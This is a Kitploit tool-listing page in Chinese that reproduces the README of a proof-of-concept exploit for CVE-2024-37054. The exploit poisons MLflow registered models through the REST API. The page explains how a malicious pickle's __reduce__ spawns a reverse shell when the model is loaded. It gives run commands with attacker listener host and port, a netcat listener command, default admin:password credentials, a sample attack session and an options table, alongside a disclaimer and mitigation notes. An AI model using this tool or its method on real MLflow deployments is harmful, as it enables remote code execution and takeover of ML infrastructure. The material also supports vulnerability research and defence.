Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-37054 — 一个概念验证,通过REST API污染MLflow注册模型,嵌入恶意pickle以在加载模型时触发RCE。 | Kitploit
工具/GitHubGitHub/bardlaudian/cve-2024-37054
防御工具漏洞分析漏洞利用Web应用程序漏洞利用渗透测试机器学习红队Payload 开发AI 安全
GitHubbardlaudian/cve-2024-37054

CVE-2024-37054

一个概念验证,通过REST API污染MLflow注册模型,嵌入恶意pickle以在加载模型时触发RCE。

11天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

mlflow-pickle-rce

针对 MLflow 模型注册表的 pickle 反序列化 RCE 的通用概念验证(CVE-2024-37054 风格)。仅与 MLflow REST API 通信——不对其前面的任何特定客户端应用程序做任何假设。

⚠️ 仅用于授权的安全测试。 仅对你拥有或明确授权测试的系统运行此工具(CTF/实验环境、已签署授权范围的渗透测试等)。在大多数司法管辖区,未经授权访问计算机系统是违法的。

漏洞

MLflow 的 pyfunc flavor 在每次调用 mlflow.pyfunc.load_model() 时,都会通过反序列化(unpickling) model.pkl 工件来加载已注册的模型——无论是直接通过 MLflow UI/API 触发,还是由某个客户端应用程序对已注册模型运行推理时间接触发。

Python 的 pickle 模块可以在反序列化期间通过对象的 __reduce__ 方法执行任意代码。如果攻击者对 MLflow API 拥有足够的访问权限,能够:

  1. 创建一个实验运行(experiment run),
  2. 向该运行上传工件,以及
  3. 注册一个指向这些工件的模型版本,

……他们就可以将恶意 pickle 作为 model.pkl 偷运进去。下次任何东西加载该模型版本时,攻击者的代码就会在加载进程的上下文中执行(MLflow 服务器本身,或嵌入 MLflow 的客户端应用)。

这是多个 MLflow CVE 背后相同的底层原语,包括 CVE-2023-6015、CVE-2023-6018 和 CVE-2024-37054。它尤其危险,因为 MLflow 实例经常在无身份验证的情况下部署,或使用众所周知的默认凭据(admin:password)。

此脚本的功能

完全由 API 驱动,按顺序执行:

  1. 验证 API 访问(HTTP 基本身份验证)。
  2. 创建一个已注册模型(或通过 --model-name 复用你已有权访问的模型)。
  3. 在给定实验下创建一个运行。
  4. 构建并上传:
    • model.pkl —— 一个 pickle,其 __reduce__ 调用 os.system() 来生成反向 shell。
    • MLmodel —— 声明由该 pickle 支持的 python_function / sklearn flavor 的清单文件。
  5. 注册一个指向这些工件的新模型版本。
  6. 可选地将该版本转换到给定阶段(默认:Production),因为许多客户端应用只会加载处于 Production 阶段的模型版本。

此脚本不做的功能

它不会发现或触发实际的模型加载——这部分对每个部署都不同:

  • 有时 MLflow UI/API 本身会直接加载模型。
  • 有时某个单独的客户端应用程序会在某个端点(/predict 路由、定时批处理作业等)背后调用 mlflow.pyfunc.load_model()。

你需要:

  • 自己获取目标 --model-name —— 从 MLflow UI、MLflow API(/api/2.0/mlflow/registered-models/search),或客户端应用代表你注册模型时返回的任何内容。
  • 自己触发加载,无论目标是如何做到的。

要求

root@kitploit:~
pip install requests --break-system-packages

Python 3.8+。无其他依赖。

用法

root@kitploit:~
python3 mlflow_pickle_rce.py \
    --mlflow http://mlflow.target.tld \
    --model-name my-target-model \
    --lhost 10.10.14.1 --lport 4444

在运行之前或之后启动监听器:

root@kitploit:~
nc -lvnp 4444

然后以目标应用程序的方式触发加载(其自身的推理端点、批处理作业、从 MLflow UI 手动加载模型等)。

所有选项

示例会话

root@kitploit:~
$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
    --model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200

[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
    (e.g. its /predict endpoint, or wait for a scheduled job that
     calls mlflow.pyfunc.load_model() on it).

检测与缓解(防御性说明)

  • 切勿在无身份验证的情况下暴露 MLflow 的 tracking/model 服务器,也切勿保留默认凭据(admin:password)。
  • 限制谁可以注册模型版本。 注册模型版本等同于在之后加载它的任何东西上执行任意代码——请像对待部署访问权限一样对待该权限。
  • 不要反序列化不受信任的工件。 在可能的情况下,使用不依赖 pickle 的 MLflow flavor/序列化格式(例如 ONNX,或具有更安全序列化的 flavor),或对模型加载进行验证/沙箱化。
  • 监控 MLflow 的审计/访问日志中异常的 registered-models/create、model-versions/create 和 transition-stage 调用,尤其是来自不应将模型发布到 Production 的账户。
  • 对加载模型的进程进行网络分段(MLflow 服务器和/或任何调用 load_model() 的客户端应用),这样那里的代码执行原语就不会有直接通往敏感内部系统的路径。

参考资料

  • CVE-2024-37054 / CVE-2023-6015 / CVE-2023-6018 —— MLflow pickle 反序列化问题(在 NVD/MITRE 中搜索当前公告和受影响的版本范围)。
  • MLflow REST API 文档

许可证

MIT —— 见 LICENSE。

下载工具
标志默认值描述
--mlflow(必填)MLflow 基础 URL
--model-name随机要投毒的已注册模型名称;如果不存在则创建
--lhost(必填)你的监听器 IP
--lport4444你的监听器端口
--usernameadminMLflow 基本身份验证用户名
--passwordpasswordMLflow 基本身份验证密码
--experiment-id0在其下创建运行的实验 ID
--stageProduction将恶意版本提升到的阶段,或 none 以跳过转换